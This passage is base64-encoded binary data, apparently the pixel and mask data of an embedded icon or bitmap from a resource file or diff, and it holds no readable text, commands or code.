wcX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHOxcNf7czD//rM + v//6zL7/+s7A//vOwf/70MP/+9DD//vPw//7zsH/+s2///nLvf/5y73/+cy+//nMvf/5ybr/0K6i+7Cn + pDP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8Br5GDwfaqiP/3sZT/+Lme//i8o//5wq3/+sOu//nAq//4vqn/+Lyn//i9qP/3vaf/972n//jA + rP/4xbP/+cq5/97BuP3Px8Qx////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Ac3BvsP50cX/+s7B//nMvv/6zsD/+tDC//rQwv/60MP/+s7A//nLvf/5yLn/+ce3//nI + uf/5ybr/+cm4//jHtP+yopzLsaqnA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BloR7X+Oce//2rIr/97KU//e2mf/4vaP/+sCq//nAqP/5vqf/+Luj//e6 + of/3u6P/97ui//a7ov/3vaX/+MOu//DCsv/Lw8CX////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHGvbov2sG5+/rRxP/60cT/+s/B//rPwf/6z8D/+s6///rO + v//5y7z/+ci3//jDsf/4w7H/+Ma0//nItf/5x7T/5Lin/7GopWn///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BkoF5E7OFbun3qIX/966N//ewkP/3tpn/+Lui//m9 + o//5vKT/+Lqg//i4nf/4uJ7/+Lmf//e4nv/3uJ7/97yi//jAqf/RurLrzsbDE////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbuxrpHzzL3/+tDA//rR + wf/60cH/+s+///nMvP/5y7r/+cq4//nHtP/4w67/+MCs//jCrf/4xLD/+MWx//fEr//JrqPvvLKvGf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AY93apn1spL/+LOT//et + iv/3sI//+Lea//m5nf/4up//+Lid//i2mf/4tZj/+Laa//i2mv/3tpr/9raZ//e5nv/jtKL/y8PAZ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wG6s7APxbu46frQv//5zr3/+dC///nRwf/5zr3/+cu4//nItP/4xbH/+MKs//i/qP/4vqf/+MGq//jC + rf/4w67/876p/7uvqqX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYl4 + bznMiWf99qR7//engP/3qoX/97GQ//i1lf/4t5j/+Lia//ezlP/3spP/97KU//ezlf/3tJb/97SV//az + lP/1tZn/xravy8rCvwP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AbKrqF/jvq//+cu3//nOvP/51MT/+M68//nNu//4ybT/+MOt//jB + qv/4vqb/97uh//e9o//4vqb/+MCp//nBqv/dtKP/wLi0Rf///wH///8B////Af///wH///8B////Af// + /wH///8B////AX52cgOZcl7P9Jts//Wecv/1onj/9qqE//ewjP/3sY//+LSU//ezkv/2sI3/9rCN//aw + jv/2sY//9rGQ//axj//2spL/0qqX/cvAuzf///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bt6ehw/fFr//5z7v/+cy3//nM + tv/5zLf/+dC9//jFr//4wKj/972k//e6n//3uJv/97qf//i9pP/4v6b/+L+m/8ayqeG4s7EP////Af// + /wH///8B////Af///wH///8B////Af///wGEgoAzkYV/w52NhMOlk4rDr5+Wy7Wmns+8rKPPva2lz7+w + qM/FtKvPx7Srz8Oxp9vItavbyret28u4rtvQvLHb0r6028e+uZP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Abiv + qy3Jv7rL0MW/z9LGwM/EuLLHu6+pw7irpcOzpZ7DtaWewcOvpr3CrKK9wKmfvcConb3HsKW3x7Gnt8my + p7e+raW3rq2sWf///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file